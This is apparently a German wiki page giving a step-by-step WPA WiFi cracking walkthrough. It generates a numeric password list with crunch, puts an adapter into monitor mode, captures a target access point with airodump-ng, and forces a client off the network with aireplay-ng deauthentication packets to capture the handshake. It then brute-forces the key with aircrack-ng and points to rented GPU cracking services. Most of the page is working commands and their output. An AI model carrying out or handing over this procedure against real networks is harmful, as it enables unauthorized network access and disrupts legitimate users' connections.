Wlan Bruteforce Attacke: Unterschied zwischen den Versionen

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=Vorgehen=
*Passwort liste generieren
*Interface suchen
*Interface Monitor mode
*Wlans anzeigen
*Capture AP
*auf Client Handshake warten (eventuell Verbindung killen)
*Brute Force auf Datei starten
*Erfolg


=Passwordliste generieren=
*crunch  8 8 0123456789 -o password.lst
<pre>
Crunch will now generate the following amount of data: 900000000 bytes
858 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 100000000
crunch:  19% completed generating output
crunch:  38% completed generating output
crunch:  58% completed generating output
crunch:  76% completed generating output
crunch:  95% completed generating output
crunch: 100% completed generating output
</pre>
=Stoppen von störenden Diensten=
*systemctl stop avahi-daemon
*systemctl stop NetworkManager
=Interface suchen=
*airmon-ng
<pre>
PHY    Interface      Driver          Chipset
phy0    wlan0          rtl8192cu      Edimax Technology Co., Ltd EW-7811Un 802.11n [Realtek RTL8188CUS]
</pre>
*echo INT=wlan0 >> data
*source data
=monitor modus=
*airmon-ng start $INT
=checken=
*airmon-ng check $INT
=dump=
*airodump-ng $INT
Wir suchen nach der BSSID und dem Channel von "dd-xinux"
[[Datei:wlan0-1.png]]
*echo BSSIDAP=00:18:F8:DA:F7:94 >> data
*echo CHANNEL=6 >> data
Wir suchen nach einer STADION die sich mit "dr-xinux" verbindet
[[Datei:wlan0-2.png]]
*echo BSSIDSTADION=44:74:6C:54:68:E8 >> data
=handshake besorgen=
*source data
*airodump-ng --bssid $BSSIDAP -c $CHANNEL -w wlan.cap $INT
[[Datei:wlan1mon2.jpg]]
==zweites fenster öffnen (sends deauthentication packets)==
*source data
*aireplay-ng -0 50 -a  $BSSIDAP -c $BSSIDSTADION $INT
<pre>
11:02:39  Waiting for beacon frame (BSSID: 00:18:F8:DA:F7:94) on channel 6
11:02:39  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 0| 4 ACKs]
11:02:40  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 0| 6 ACKs]
11:02:40  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 0| 8 ACKs]
11:02:41  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 0| 7 ACKs]
11:02:44  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 3|43 ACKs]
11:02:49  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [36|68 ACKs]
11:02:55  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 2|65 ACKs]
11:03:00  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 0|63 ACKs]
11:03:05  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 2|64 ACKs]
11:03:10  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 2|64 ACKs]
11:03:15  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 0|64 ACKs]
11:03:21  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 4|65 ACKs]
11:03:26  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 0|64 ACKs]
11:03:32  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 0|61 ACKs]
11:03:37  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 3|65 ACKs]
11:03:42  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 2|63 ACKs]
11:03:47  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 0|64 ACKs]
11:03:52  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 0|64 ACKs]
11:03:57  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [26|67 ACKs]
11:04:02  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 2|65 ACKs]
11:04:07  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 0|63 ACKs]
11:04:12  Sending 64 directed DeAuth. STMAC: [44:74:6C:54:68:E8] [ 0|64 ACKs]
</pre>
bis der client rausfliegt
=nach dem wiederverbinden kommt der handshake=
[[Datei:wlan1mon3.jpg]]
==handshake==
HANDSHAKE=00:18:F8:DA:F7:94
=cracken=
*aircrack-ng -w password.lst -b $BSSIDAP  wlan.cap-01.cap
[[Datei:wlan1mon4.jpg]]
=Crack geschwindigkeiten=
Laptop Schaft circa 1000 Keys pro Sekunde
eine starke Grafikkarte (Titan XP) schaft 520000 hash/s
Bei bedarf kann man sich auch online Rechen power mieten
https://www.gpuhash.me/?menu=en-tasks
oder sich ein Cluster aus mehreren Grafikkarten bauen
Quelle http://www.crackingservice.com/?q=node/20

Aktuelle Version vom 7. Juni 2021, 18:48 Uhr